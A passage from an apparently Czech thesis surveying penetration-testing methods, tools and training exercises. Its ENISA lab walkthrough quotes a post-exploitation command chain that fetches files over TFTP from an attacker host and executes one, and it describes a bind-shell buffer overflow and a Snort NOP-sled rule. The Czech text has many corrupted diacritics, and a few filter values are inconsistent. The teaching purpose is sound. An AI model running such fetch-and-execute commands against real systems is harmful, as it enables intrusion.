Na zaˇcátku penetraˇcního testování je nutné se dohodnout s vlastníkem systému˚ na prubˇ ˚ ehu testování, na metodˇe (destruktivní, nedestruktivní), na množství znalostí o systému (white-box, black-box) a na tom, jaký má být smˇer testování, protože není možné ovˇerˇ it kompletnˇe celý systém. Dále je nutné získat informace o prostˇredí, které lze hledat napˇríklad na internetu. Je tˇreba provést zkoumání rozsahu využitých IP adres, komu je adresní prostor pˇridˇelen, a vyhledat informace o zájmové doménˇe nebo zobrazit záznamy DNS pro testovanou doménu. Další fáze zahrnuje odhad topologie, operaˇcních systému˚ stroju, ˚ využívaných služeb a analýzu filtraˇcních technik. Znalosti lze získat díky technice skenování portu, ˚ která zasílá dotazy na jednotlivé stroje a získává údaje o tom, jestli daná služba právˇe bˇeží. Skenování portu˚ muže ˚ ztížit spuštˇený firewall. Skenování stroju˚ je možné vykonávat automatizovanˇe pomocí speciálních nástroju, ˚ jež dokáži identifikovat zranitelnost pˇríznaˇcnou pro danou verzi spuštˇené služby. Nˇekteré nástroje dokáží informovat o možnostech odstranˇení slabin nebo o tom, jak danou zranitelnost využít. Po identifikaci zranitelnosti je nutné vyhledat co nejvíce informací pro získání komplexního pˇrehledu o daném problému, zahrnující údaje o složitosti, zpusobu ˚ a cˇ asové nároˇcnosti využití slabiny systému. 9
ˇ 3. P ENETRA CNÍ TESTOVÁNÍ
•
•
•
3.2
Poté následuje praktická ukázka zneužití slabiny systému. Existuje rˇ ada již vytvorˇ ených nástroju, ˚ které dovolují snadnˇejší exploitaci než vlastní implementace kódu. Programy využívají databázi exploitu˚ pro dosažení cíle. Uživatel nemusí mít znalosti o funkˇcnosti škodlivého kódu, ale pouze nechá nástroj vykonat jeho práci. Výsledky jednotlivých testu˚ je nutné sjednotit do sumarizované zprávy, jež by mˇela obsahovat poznatky nabyté bˇehem testování a doporuˇcení, jak eliminovat objevené zranitelnosti. Posledním krokem je odstranˇení nebo snížení míry zneužití pro zkoumaný systém. Odstranˇení je možné pomocí pˇrechodu služby na novˇejší verzi nebo zavedení záplaty.
Nástroje
3.2.1 Wireshark Wireshark slouží k analýze sít’ových paketu˚ [29]. Jeho hlavní funkcí je záchyt paketu˚ ze sítˇe, jejich dekódování a následná prezentace zahrnující výˇcet velmi podrobných informací, které lze z paketu˚ získat. Open source program Wireshark nabízí základní funkce jako TCPdump, avšak s rˇ adou vylepšení. Nejvýraznˇejším rozdílem je grafické rozhraní, ale pˇresto muže ˚ být spuštˇen i z pˇríkazové rˇ ádky. Dokáže pˇrepnout sít’ovou kartu do promiskuitního stavu, aby byla schopna zachytávat veškerý provoz na prvku, kde je Wireshark spuštˇen. Jeho další výhodou je snadnˇejší filtrování paketu˚ a zpracování statistik. Do programu mohou být implementovány nové moduly pro získání podrobnˇejších informací. Zachycená data je možné uložit a pˇrípadnˇe kdykoliv opˇet zkoumat. Wireshark je vyspˇelý open source paketových analyzátoru. ˚
3.2.2 Nmap Nmap je jeden z nejpoužívanˇejších nástroju˚ pro skenování portu˚ [30, 31, 32]. Nástroj je zdarma, má volnˇe dostupný zdrojový kód a je šíˇren pod GNU General Public License. Nmap se využívá pro hledání poˇcítaˇcových systému˚ v poˇcítaˇcové síti nebo k provˇerˇ ení bezpeˇcnosti systému. Slouží jako základní prvek penetraˇcního testování. Dokáže jednoduše provˇerˇ it funkˇcnost paketového filtru (firewallu) a zjistit informace o dostupných službách na spravovaném systému tak, jak by to dokázali pˇrípadní útoˇcníci. Princip spoˇcívá v urˇcení metody, druhu skenování a stanovení testovaného cíle, pˇrípadnˇe cílu. ˚ Základní syntax pro použití nástroje Nmap je: $ nmap [volby] [cíle]
Nástroj má mnoho pokroˇcilých funkcí, umí nejen detekovat bˇežící služby, ale i verzi operaˇcního systému a dobu jeho spuštˇení. Nalezení skuteˇcné verze není vždy spolehlivé a je nutné, aby stroj mˇel otevˇrený alesponˇ jeden port. Tyto informace získává pomocí zasílání speciálních paketu˚ a poté analyzuje pˇríchozí odpovˇedi. Nmap oproti jiným skenerum ˚ pracuje pˇri skenování s ruznými ˚ stavy sítˇe (zahlcení, odchylky zpoždˇení). Skenování portu˚ je proces, pˇri nˇemž se zjišt’uje, jestli je port TCP nebo UDP otevˇrený cˇ i zavˇrený. Otevˇrenost portu znamená, že na daném portu je opravdu spuštˇena urˇcitá služba odpovídající na dotaz. Naopak pokud na portu služba nebˇeží, je port zavˇrený. Skenování portu˚ muže ˚ být znesnadnˇeno firewallem, který muže ˚ zasílané zprávy filtrovat nebo muže ˚ blokovat nˇekteré porty a nedovolit žádnou komunikaci. 10
ˇ 3. P ENETRA CNÍ TESTOVÁNÍ
3.2.3 OpenVAS a Nessus OpenVAS je jedním ze základních nástroju˚ pro penetraˇcní testování [33]. Slouží k testování sítˇe nebo jednotlivých systému, ˚ zda se na nich nachází nˇejaká bezpeˇcnostní slabina. Funkcionálnˇe je OpenVAS velice podobný nástroji Nessus, který má nˇekteré moduly zpoplatnˇeny [34]. OpenVAS je rámec nˇekolika služeb a nástroju˚ nabízející komplexní a výkonné skenování zranitelnosti a rˇ ešení, jak spravovat zranitelnosti. Všechny OpenVAS produkty jsou volnˇe ke stažení, ale nejsou open-source. Vˇetšina komponent je licencována GNU General Public License (GNU GPL). Architektura OpenVAS, stejnˇe jako Nessus, je založena na modelu klient – server, což je vidˇet na obrázku 3.1.
Testované počítače, routery, servery
Klient OpenVAS
Server OpenVAS
Linux + Windows
Linux
NVTFeed OpenVAS
Infrastruktura OpenVASu
Obrázek 3.1: OpenVAS klient + server [35] OpenVAS dokáže spolupracovat s mnoha externími programy, jako je Nmap, Hydra (Parallel password cracker), Ike-scan (IPsec VPN scanner), SLAD (Security Local Auditing Daemon, který umí spouštˇet lokální programy, jako je John-the-Ripper, Snort). Projekt OpenVAS udržuje veˇrejný zdroj sít’ových testu˚ zranitelnosti (Network Vulnerability Tests - NVTs). Obsahuje více než 35000 NVTs (k dubnu 2014). Databáze se rozšiˇruje každý den, aktualizace je možné si každodennˇe stahovat do svého poˇcítaˇce. Hlavním duvodem ˚ používání kontroly nástroji Nessus a OpenVAS je provedení komplexního testování zabezpeˇcení systému na konkrétní IP adrese. Test zpoˇcátku provádí kontrolu portu˚ na zvolené IP adrese, za úˇcelem najít otevˇrené služby. Následnˇe jsou testovány na známé zranitelnosti a chybné konfigurace pomocí rozsáhlé databáze. Výsledky jsou pak sestaveny do výsledné zprávy s podrobnými informacemi o každé zranitelnosti a s informacemi o zjištˇených významných problémech. Jakmile jsou známy výsledky testu, ˚ je nutné zkontrolovat každý nález, zda se nejedná o falešný poplach. Všechna potvrzená zranitelná místa by mˇela být napravena, aby se zajistilo, že systémy již nejsou ohroženy. Kontroly zranitelností je vhodné používat i s dalšími skenovacími programy, které mohou lépe odhalit falešné poplachy. 3.2.4 Metasploit Framework Metasploit je v souˇcasné dobˇe nejvíce využívaným a diskutovaným nástrojem v oblasti informaˇcní bezpeˇcnosti a penetraˇcních testu˚ [3, 36]. Metasploit umožnuje ˇ širokou škálu úloh pro usnadnˇení práce zabývající se penetraˇcními testy, jenž mají za úkol uˇcinit systémy 11
ˇ 3. P ENETRA CNÍ TESTOVÁNÍ
bezpeˇcnˇejšími. Nástroj získává informace o bezpeˇcnostních chybách, aktualizuje svoji databázi exploitu˚ a kódu, ˚ které jsou spuštˇeny po úspˇešném pruniku ˚ do systému pomocí exploitu. Kódy jsou pojmenovány jako payload. Hlavním úkolem Metasploitu je usnadnit práci s tˇemito exploity a payloady. Další funkcí je možnost vytváˇret vlastní exploity a využívat je pˇri penetraˇcním testování. Nástroj napodobuje chování reálného útoˇcníka, který oproti správci systému nebo testerovi dokáže vytvoˇrit vlastní program. Metasploit je dostupný pro všechny bˇežné operaˇcní systémy a je open source. Témˇerˇ pro každý systém se využívá totožný pracovní postup a v prubˇ ˚ ehu vývoje se témˇerˇ nemˇení. Architektura Metasploit Frameworku je znázornˇena na obrázku 3.2 [37, 7]. Zásuvné moduly napomáhají automatizovat nˇekteré cˇ innosti a rozšiˇrovat funkcionalitu programu. Knihovny umožnují ˇ provádˇet základní úlohy, které usnadnují ˇ práci uživateli. Moduly obsahují databáze již existujícího kódu. Rozhraní napomáhá uživateli v interakci s jádrem nástroje, jež je složeno z knihoven. Dále jsou popsány základní rozhraní pro práci s nástrojem.
Zásuvné moduly
Msfconsole
Knihovny
Msfcli
Rozhraní
GUI &Armitage
Moduly Exploit
Payload
Pomocné moduly Webové rozhraní
Obrázek 3.2: Architektura Metasploit Frameforku
Msfconsole Msfconsole je nejpoužívanˇejší rozhraní, protože je flexibilní, škálovatelné, má bohatou funkcionalitu a nejvíce usnadnuje ˇ práci s exploity. Pomocí konzole je možné spustit exploit, naˇcíst zásuvné moduly, vypsat relevantní exploity a vyhledávat mezi nimi, nebo spustit hromadný exploit proti celé síti. Msfcli Rozhraní Msfcli je vhodné pro pochopení podstaty nástroje Metasploit a pˇri jednorázovém použití napˇríklad ve skriptech, protože se spouští pˇrímo z pˇríkazového rˇ ádku. Používá se, pokud uživatel pˇresnˇe ví, jaký exploit bude využívat a jaké možnosti jsou tˇreba nastavit. Webové a grafické rozhraní Metasploit také umožnuje ˇ pracovat s exploity pomocí webového a grafického rozhraní. Nejznámˇejší je grafické rozhraní Armitage, které pˇridává další funkcionalitu, díky níž muže ˚ spolupracovat více testeru. ˚ 12
ˇ 3. P ENETRA CNÍ TESTOVÁNÍ
3.3
Linuxové distribuce pro penetraˇcní testování
Distribuce Kali je linuxový operaˇcní systém pro audit a penetraˇcní testování založený na systému Debian [38, 39]. Kali navazuje na Metasploit 5 r3, který byl založen na systému Ubuntu a je podporován spoleˇcností Offensive Security. Systém je velmi uznávaný vˇetšinou odborníku˚ pracujících v oblasti bezpeˇcnosti systému˚ a také specialisty zabývajícími se penetraˇcním testováním, tzv. etiˇctí hackeˇri. Systém obsahuje více než 300 nástroju˚ pro penetraˇcní testování. Nástroje jsou rozdˇeleny do skupin uvedených v tabulce 3.2. Název skupiny Sbˇer informací Analýza zranitelností Prolomení hesel Bezdrátové útoky Exploitaˇcní nástroje Sniffing a spoofing Správa pˇrístupu Reverzní inženýrství
Testování pˇretížení
Hacking hardwaru Forenzní analýza Vytváˇrení zpráv Systémové služby
Úˇcel nástroju˚ Identifikace zaˇrízení a používaných protokolu˚ Identifikace a hodnocení zranitelností Útoky hrubou silou, slovníkové útoky Nástroje využívající zranitelností pro bezdrátové protokoly, v mnoha pˇrípadech je nutné pˇrepnout sít’ovou kartu do promiskuitního režimu Nástroje používané k využití zranitelností nalezených v systému Zachycení paketu, ˚ manipulace s pakety, aplikace pro rekonstrukci VoIP Využití zadních vrátek pro pˇrístup do systému Odkrytí principu fungování zkoumaného systému za úˇcelem sestrojení stejného cˇ i podobnˇe fungujícího programu, nástroje pro analýzu malware nebo nalezení slabých míst v softwarových aplikacích Zátˇežové vyhodnocení, kolik dat muže ˚ systém zpracovat, z pˇretížených systému˚ je možno získat požadovaný výsledek (pomocí DoS útoku) Obsahuje Android nástroje pro testování mobilních zaˇrízení a Ardunio nástroje pro ovládání jiných malých elektronických zaˇrízení Vyšetˇrování, sledování a analýza poˇcítaˇce a monitorování provozu v síti Reportovací nástroje poskytují informace nalezené pˇri penetraˇcním cviˇcení Možnost povolit nebo zakázat služby Kali Tabulka 3.2: Rozdˇelení nástroju˚ Kali
13
Kapitola 4
Rešerše existujících bezpeˇcnostních scénáˇru˚ Kapitola rozebírá existující bezpeˇcnostní scénáˇre, z kterých by bylo možné vycházet pˇri vytváˇrení vlastního scénáˇre. Kapitola se zabývá dvˇema typy cviˇcení. První dvˇe podkapitoly se vˇenují vyškolení zaˇcáteˇcníku˚ v oblasti penetraˇcního testování. Úvodní cviˇcení je zamˇerˇ eno na zneužití zranitelného serveru a je vytvoˇreno Evropskou agenturou pro informaˇcní a sít’ovou bezpeˇcnost (ENISA). Druhé cviˇcení uvádí zaˇcínající testery do problematiky penetraˇcního testování. Zbytek kapitoly je vˇenována školením, která zvyšují praktické dovednosti na základˇe teoretických znalostí. Školení simuluje kybernetický útok na konkrétní organizaci a vyžaduje již vyšší odborné znalosti. Cviˇcení popisuje defenzivní a ofenzivní cˇ innost. Další dva scénáˇre popisují bezpeˇcnostní hry, na kterých lze ilustrovat zábavnou formu výuky. Poslední scénáˇr má za úkol popsat souˇcasnou podobu a možnosti Kybernetického polygonu Masarykovy univerzity na simulovaném útoku distribuovaného odepˇrení služby.
4.1
ENISA CERT cviˇcení
Materiály pro ENISA CERT cviˇcení pˇrispívají k rozvoji kritického myšlení, komunikace v informaˇcní bezpeˇcnosti, spolupráce a k zlepšení technických schopností. Tyto schopnosti jsou nezbytné pro úspˇech v týmu CERT, který zodpovídá za reakci na poˇcítaˇcové útoky, nebo pro toho, kdo buduje kariéru v oblasti informaˇcní bezpeˇcnosti. Kompletní sada obsahuje pˇríruˇcky pro uˇcitele, sadu nástroju˚ pro studenty a virtuální obraz pro podporu praktického školení. 4.1.1 Exploitace zranitelného webového serveru Práce popisuje vzniklé cviˇcení pro agenturu ENISA, které se vˇenuje exploitaci s využitím programu Metasploit [40] . Tato demonstrace pokrývá celý proces exploitace na stranˇe serveru služby. Byla implementována speciální zranitelnost HTTP serveru. Server se v situacích, kdy obdrží GET požadavky, rˇ ídí pravidly protokolu HTTP. Nicménˇe, když je pˇrijat požadavek POST, je spuštˇeno samostatné vlákno, aby vázalo shell na port 12345 (za pˇredpokladu, že požadavek POST bude aplikovat správný kód shellu). Ze sít’ového hlediska se tato "falešná" exploitace neliší od skuteˇcné. Shell kód, který váže shell na port 12345, byl získán z nástroje Metasploit. Scénáˇr uvedený v tomto pˇríkladu je pomˇernˇe cˇ astý, a to zejména pokud se jedná o útoky provádˇené automaticky napˇr. pomocí cˇ erva nebo botnetu. Software pˇripravený pro cvicˇ ení umožnuje ˇ pˇredvést útok v reálném cˇ ase. Scénáˇr napomáhá ukázat, jak snadné je pro "script kiddies", aby provedl útok. Pokud z nˇejakého duvodu ˚ není možná prezentace útoku˚ v reálném cˇ ase, je možno nahlédnout do souboru pcap se zachyceným útokem umístˇeným na LiveDVD, které lze stáhnout na webových stránkách Evropské agentury pro informaˇcní a sít’ovou bezpeˇcnost: http://www.enisa.europa.eu/ftp/ENISA_CERT_ Exercises.ova. Bˇehem procesu exploitace se využívá analyzátor sítˇe Wireshark pro záchyt provozu. Wi14
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
reshark zachytí všechny pakety, které byly pˇrijaty a pˇrenášeny na konkrétním sít’ovém rozhraní. Pro prezentaci jednoho stroje se používá virtuální sít’ové rozhraní (anglicky Loopback). Bˇehem cviˇcení je možné postupnˇe sledovat fáze útoku pomocí programu Wireshark. Poˇcáteˇcní nastavení Pro demonstraci útoku byl pˇripraven zranitelný HTTP server a exploit pro HTTP server. HTTP server není plnˇe funkˇcní software. Je funkˇcní pouze jeden pˇríklad WWW stránky a chová se jako kompromitovaný hostitel vždy, když obdrží požadavek HTTP POST. Tato situace nemuže ˚ být konfigurována v jakémkoli prostˇredí tak, aby se dala použít. Pro provedení cviˇcení bylo nutné pˇripravit a nastavit sadu nástroju˚ (tyto nástroje lze nalézt na live DVD): • • • • •
http server, exploit, Wireshark, tftp server, tftp klient.
Pˇred spuštˇením zranitelného HTTP servere je nutné zastavit Apache server pomocí pˇríkazu: $ sudo /etc/init.d/apache2 stop
Pro pˇrípadné spuštˇení serveru se využívá pˇríkazu: $ sudo /etc/init.d/http_server
Cviˇcení muže ˚ být provedeno pomocí jednoho stroje nebo na sadˇe dvou stroju. ˚ V pˇrípadˇe jednoho stroje bude mít útoˇcící stroj stejnou IP adresu jako obˇet’. Tato situace je nepravdˇepodobná v reálném scénáˇri, proto je vhodné použít dva stroje pro tento úkol, pokud to situace dovoluje. Scénáˇr dvou stroju˚ je znázornˇen na obrázku 4.1.
Oběť 192.168.0.1
Útok
Útočník 192.168.0.2
Obrázek 4.1: Scénáˇr dvou stroju˚ Na oba poˇcítaˇce se nejdˇríve zavede Exercise LiveDVD. Pro konfiguraci rozhraní se spustí skripty poskytované na Exercise LiveCD: interface_victim a interface_attacker. Pokud má poˇcítaˇc více rozhraní, uvede se název pˇri konfiguraci jako parametr skriptu: interface_victim eth1. Pokud nejsou uvedeny žádné parametry, je konfigurováno první rozhraní. Dále je bˇehem cviˇcení používán pouze jeden stroj, což znamená, že IP adresa obˇeti a útoˇcníka je 127.0.0.1. Pokud by se použily dva stroje, ve všech následujících pˇríkazech by byla adresa útoˇcníka nahrazena za 192.168.0.2 a adresa obˇeti za 192.168.0.1. Soubor pcap je pˇriložen k tomuto cviˇcení na LiveDVD a obsahuje logy s IP adresou útoˇcníka jinou, než je adresa obˇeti. 15
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
Postup útoku První krok spoˇcívá v navázání spojení a odeslání POST zprávy na HTTP serveru. Zpráva není obyˇcejný požadavek POST, ale je zámˇernˇe vytvoˇrena tak, aby využila zranitelnosti serveru a zapˇríˇcinila pˇreteˇcení vyrovnávací pamˇeti. Pro vyˇclenˇení paketu˚ zachycených programem Wireshark, které byly odeslány na HTTP server, se použije následující filtr: tcp.port == 80
Pˇred spuštˇením exploitu mohou být zaslány neškodné požadavky na HTTP server. Po spuštˇení Wiresharku je na virtuálním sít’ovém rozhraní nutný záchyt paketu. ˚ Poté se musí spustit prohlížeˇc a pˇrejít na stránku www.example1.com. Tento pˇríklad stránky je pouze lokální. Pro zvýšení množství neškodných požadavku˚ je možné provádˇet operace na pˇripravené jednoduché stránce. V tabulce 4.1 lze vidˇet dva požadavky HTTP. Jeden pro stránku index.html a druhý pro soubor favicon.ico.
Source 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1
Destination 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1
Protocol TCP HTTP TCP HTTP HTTP
Info 55177 > www [ACK] GET /index.html HTTP/1.1 www > 55177 [ACK] Continuation or non-HTTP traffic GET /favicon.ico HTTP/1.1
Tabulka 4.1: Zachycené pakety – požadavky HTTP Škodlivý POST požadavek je zaslán exploitem. Druhý paket v tabulce 4.2 nese požadavek POST, který se skládá ze dvou paketu˚ a tˇelo HTTP požadavku nese skuteˇcné exploit shell kód, který má být proveden. Shell kód je v podstatˇe dlouhý rˇ etˇezec bajtu˚ s hodnotami 90 a následnˇe témˇerˇ 90 bajtu˚ instrukcí assembleru. První cˇ tyˇri bajty shell kódu jsou adresou pˇrepisující návratovou adresu pomocí funkce. Vzhledem k provádˇení shell kódu je port 12345 otevˇren pomocí systému shell vázaného na nˇej.
Source 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1
Destination 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1
Protocol TCP HTTP TCP HTTP
Info 54274 > www [ACK] POST /inventory-check.cgi HTTP/1.1 www > 54274 [ACK] Continuation or non-HTTP traffic
Tabulka 4.2: Zachycené pakety – POST požadavek Dalším krokem je pˇripojení k shellu na port 12345 a provádˇení pˇríkazu˚ na kompromitovaném systému. Exploitace zpusobí ˚ otevˇrení systému shell vázaného na port 12345. Ten, kdo se pˇripojí k portu 12345, aby kompromitoval server, muže ˚ posílat pˇríkazy, které budou provedeny. Vázaný shell se spustí s ID uživatele a s administrátorskými právy, stejnými jako má HTTP server. Všechny cˇ innosti provádˇené kompromitovaným serverem budou využívat privilegia superuživatele. Pˇríklad ukazuje, proˇc by mˇely být služby spuštˇeny pouze s minimální sadou privilegií. Zobrazit provoz, který prochází pˇres exploitem otevˇrený port 12345, lze pomocí použití filtru: 16
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
tcp.port == 13245
Po odeslání pˇripravené žádosti HTTP s nebezpeˇcným obsahem cˇ eká exploit nˇekolik sekund na portu, který má být otevˇrený. Potom se pokusí o pˇripojení k shellu. Je-li pˇripojení úspˇešnˇe navázáno, následující rˇ etˇezec pˇríkazu˚ je poslán a proveden: cd ~; atftp --get --remote-file exploit2 192.168.0.121; atftp --get --remote-file hello 192.168.0.121; chmod +x hello; ./hello
Uvedené pˇríkazy mají za následek, že se provedou následující akce: • • • • •
aktuální pracovní adresáˇr je zmˇenˇen do domovského adresáˇre uživatele, exploit soubor je stažen z TFTP serveru, XHTTP je stažen z TFTP serveru, provádˇecí bit XHTTP je nastaven, program XHTTP je spuštˇen.
Exploit zapˇríˇciní kopírování nˇekterých souboru˚ z poˇcítaˇce útoˇcníka na poˇcítaˇc obˇeti. Pro zobrazení paketu˚ s protokolem TFTP se použije následující filtr: tfftp
Pro zjištˇení názvu˚ souboru, ˚ které byly staženy, je vhodnˇejší použít filtr zobrazující pouze první paket v každém pˇrenosu TFTP: tftp.source_file
Soubory budou zkopírovány do domovského adresáˇre uživatele, jenž spustil HTTP server. V tomto pˇríkladu program xhttp neprovádí nic. Avšak v pˇrípadˇe skuteˇcného exploitu muže ˚ software provádˇet akce jako napˇr.: • • • •
získání informací o ohroženém systému, komunikace s instancemi jiných exploitovaných stroju, ˚ provádˇení DDoS útoku, ˚ rozesílání spamu, atd.
Po sobˇe jdoucí akce, které exploit vykonává, budou oznámeny v konzoli útoˇcníka následujícím zpusobem: ˚ [*] [*] [*] [*]
Pˇ ripojení na zranitelný HTTP Server - provedeno Odeslání dat pro pˇ reteˇ cení vyrovnávací pamˇ eti - provedeno Pokus o pˇ ripojení k shellu: 127.0.0.1: 12345 - úspˇ ešný Odeslání pˇ ríkaz˚ u na kompromitaci serveru - provedeno
Posledním bodem cviˇcení tohoto útoku je ovˇerˇ it, zda systém detekce narušení zpozoroval nˇeco podezˇrelého. Exercise LiveDVD obsahuje Snort IDS. Výstrahy jsou uvedeny v souboru a je možné zkontrolovat výpis posledních hodnot zadáním pˇríkazu: $ cat /var/log/snort/alert
Následuje pravidlo, které upozorní, jakmile monitorovaná sít’ obdrží paket obsahující alesponˇ 14 po sobˇe jdoucích bajtu˚ hodnoty 90: 17
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
The alert was triggered by the following Snort rule: alert ip any $SHELLCODE_PORTS -> $HOME_NET any (msg: "SHELLCODE x86 NOOP"; contentL:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth:128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:7;)
Událost je vyvolána v dusledku ˚ skuteˇcnosti, že takový rˇ etˇezec je cˇ asto náznak výskytu shell kódu. Toto pravidlo vychází ze standardní sady pravidel Snort.
4.2
PentesterLab
PentesterLab je jedním z nejsnadnˇejších dostupných zpusob ˚ u, ˚ jak se nauˇcit penetraˇcnímu testování [41]. Pentesterlab nabízí nˇekolik typu˚ zranitelných operaˇcních systému˚ (založených na Linuxu), které mohou být použity k praktickému cviˇcení penetraˇcního testování a pro porozumˇení jednotlivým zranitelnostem. Každý systém je založen na jiné sadˇe zranitelností a samostatných cviˇcení. Všechna cviˇcení umožnují ˇ získat virtuální obraz zranitelného operaˇcního systému ISO v 32 i 64 bitové verzi, spolu s PDF manuálem, který poskytuje pomoc a rady o tom, jak krok po kroku procházet pˇripraveným scénáˇrem penetraˇcního testování. Vhodný nástroj pro virtualizaci Live CD systému je VirtualBox.
4.2.1 Web for Pentester Jedno z dostupných cviˇcení, která si muže ˚ zaˇcínající tester vyzkoušet, je oznaˇceno jako Web for Pentester. Systém je založen na Linux Debian a je spuštˇen v terminálu (bez grafického rozhraní). Díky nainstalovaným službám Apache a MySQL je po nastavení IP adresy možné pˇristupovat z prohlížeˇce z vlastního systému k pˇripraveným stránkám. Stránky obsahují seznam odkazu˚ na jednotlivé stránky s uvedenými zranitelnostmi pro procviˇcení hackerských schopností. Cviˇcení jsou založena na spoleˇcných zranitelnostech nalezených v ruzných ˚ systémech a vycházejí z reálných situací. Ve cviˇcení je možné se nauˇcit: • •
základy Web a HTTP, detekce bˇežných webových zranitelností: – – – – –
•
cross-site scripting, injekce SQL, pˇríkazu a kódu, zneužití pruchodu ˚ adresáˇri, útok na XML a LDAP, nahrání nebezpeˇcného souboru,
základní fingerprinting.
Dostupný materiál k cviˇcení penetraˇcního testování na zranitelném serveru sloužil jako inspirace pˇri vytváˇrení vlastního scénáˇre, jelikož materiály obsahují pˇrehlednou prezentaci, jež slouží k napomáhání pˇri pruchodu ˚ cviˇceními. Velmi pˇrínosné je uvedení obtížnosti cvicˇ ení a požadované znalosti. Záporným faktorem muže ˚ být pouhé uvedení instrukcí pro dosažení kýženého efektu a ne správných výsledku. ˚ 18
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
4.3
Locked Shields 2013
Technické kybernetické obranné cviˇcení s názvem Locked Shields 2013 probˇehlo 23. - 26. dubna 2013 [42]. Do pˇrípravy a realizace bylo zapojeno 18 organizací z 15 zemí. Cviˇcení se zúˇcastnilo deset modrých týmu, ˚ pro které zejména bylo školení pˇripraveno. Týmy byly složené z až 10 odborníku˚ v oblasti IT a 1-2 právních poradcu. ˚ Jejich rychlé reakce mˇely bránit virtuální sít’ proti útokum ˚ cˇ erveného týmu. Dalšími úkoly bylo splnˇení pˇríkazu˚ daných z ústˇredí, sledovat místní zprávy, odpovídat na dotazy médií a analyzovat právní aspekty jejich poslání. Scénáˇr je zamˇerˇ en na modré týmy pod povˇerˇ ením OSN ve fiktivní zemi zvané Boolea, kde se konflikt mezi severními a jižními kmeny vystupnoval ˇ na úroven, ˇ kdy byla místní vláda nucena požádat o pomoc mezinárodní spoleˇcenství. Kybernetické útoky zaˇcaly proti IT systémum ˚ organizace humanitární podpory. Deset modrých týmu˚ bylo vysláno v zájmu ochrany neklasifikované vojenské sítˇe a sítí humanitárních organizací. Provedená rešerše byla vˇenována spíše cˇ ervenému týmu provádˇející útok na modrý tým. ˇ ˇ Cervený tým používal nástroje, které by bylo možné využít v diplomové práci. Cervený tým byl složený z ad-hoc dobrovolníku, ˚ jenž díky špatné spolupráci neposkytli dostateˇcnˇe realistické výzvy pro modrý tým. Technická platforma byla stabilní a fungovala dobˇre. Gamenet obsahující moderní technologie (napˇr. mobilní zaˇrízení) a jednotlivé komponenty scénáˇre (napˇr. vojenské C & C systémy) tak, aby lépe odrážely složitosti reálných sítí. Prostˇredí pro simulaci je místem potˇrebující zlepšovat. Smyslem cviˇcení byla bezpeˇcnostní hra rozdˇelena do týmu. ˚ Týmy nepˇredstavovaly skuteˇcné organizace, pro které pracují pˇri svých každodenních cˇ innostech, ale byly umístˇeny do fiktivních rolí. Komunikace týmu˚ je zobrazena na obrázku 4.2.
Bílý tým
(Příprava, ovládání, cíle a pravidla hry)
In f
Červený tým
Út o
ac e
os itu
ac
i
Informace o situaci
ok
Modrý tým 1
m
Út
k
Zpr
ávy
Zprávy
or
Zelený tým
(Příprava infrastruktury)
Modrý tým 10
fo In
eo ac m r
Žlutý tým
(Situační povědomí)
i ac
u sit
Obrázek 4.2: Spolupráce týmu˚ [42]
Modré týmy musely bránit v prubˇ ˚ ehu dvou dnu˚ pˇredem postavenou sít’, která se skládala z cca 35 virtuálních stroju, ˚ pˇred útoky cˇ erveného týmu. Infrastruktura byla zpoˇcátku nejistá a plná zranitelností. Modrým týmum ˚ bylo udˇelováno skóre za poskytování zpˇetné 19
ˇ ˇU ˚ 4. R EŠERŠE EXISTUJÍCÍCH BEZPE CNOSTNÍCH SCÉNÁ R
vazby týmum ˚ a za úspˇešnost jednotlivých strategií a taktik. Právní poradci v modrém týmu mˇeli za úkol podporovat a usnadnovat ˇ spolupráci, komunikaci a porozumˇení mezi technickými a právními experty. ˇ Clenové cˇ erveného týmu si navzájem nekonkurovali. Jejich cílem bylo provést stejnˇe vyrovnané útoky na všech sítích modrých týmu. ˚ Bílý tým mˇel odpovˇednost za pˇrípravu cviˇcení a jeho ovládání bˇehem cviˇcení. Dále definoval cíle školení, scénáˇr, cíle pro cˇ ervený tým a pravidla, kterými se rˇ ídila pˇripravená média. Zelený tým byl zodpovˇedný za pˇrípravu technické infrastruktury. Role žlutého týmu byla v poskytování situaˇcního povˇedomí o hˇre, hlavnˇe bílému týmu, ale i všem ostatním úˇcastníkum. ˚ Gamenet se skládala z identické sítˇe pro všechny modré týmy. Každá sít’ byla tvoˇrena z 34 virtuálních stroju˚ obsahující: • • • • • •
Cisco VSR 1000 virtuální router, Endian Linux firewall, pracovní stanice Windows a Linux, domény, souborové servery, DNS a poštovní servery, servery Linux a Windows na hostování webových aplikací a databázových serveru. ˚
Bylo definováno nˇekolik kategorií pro urˇcení skóre, napˇr.: dostupnost poskytovaných služeb (pokud služba byla nepˇretržitˇe provozuschopná), úspˇešný útok cˇ erveného týmu (pokaždé, když cˇ ervený tým úspˇešnˇe dosáhl pˇredem definovaného cíle, bylo pˇridˇeleno negativní skóre), hlášení lehkých incidentu, ˚ zprávy o situace pro vedení (2 * dennˇe), a speciální bodování. 4.3.1 Ofenzivní kampanˇ cˇ erveného týmu Útoˇcná operace byla rozdˇelena do cˇ tyˇr etap. Celkem bylo definováno dvacet konkrétních ˇ cílu. ˚ Cervený tým mohl zopakovat cíle z pˇredchozích fází, ale množství negativních bodu, ˚ které byly udˇeleny modrému týmu, ˚ se snížil na polovinu s každým úspˇešným opakováním. ˇ Clenové cˇ erveného týmu mˇeli dovoleno používat jakékoliv nástroje. Sada nástroju˚ byla alesponˇ do urˇcité míry standardizována. Seznam nejduležitˇ ˚ ejšího software, který byl použit k provedení útoku: ˚ • • •
Kali nebo BackTrack 5 Linux, Cobalt Strike, Raphael Mudge, Metasploit Framework (zdarma open-source verze Metasploit).
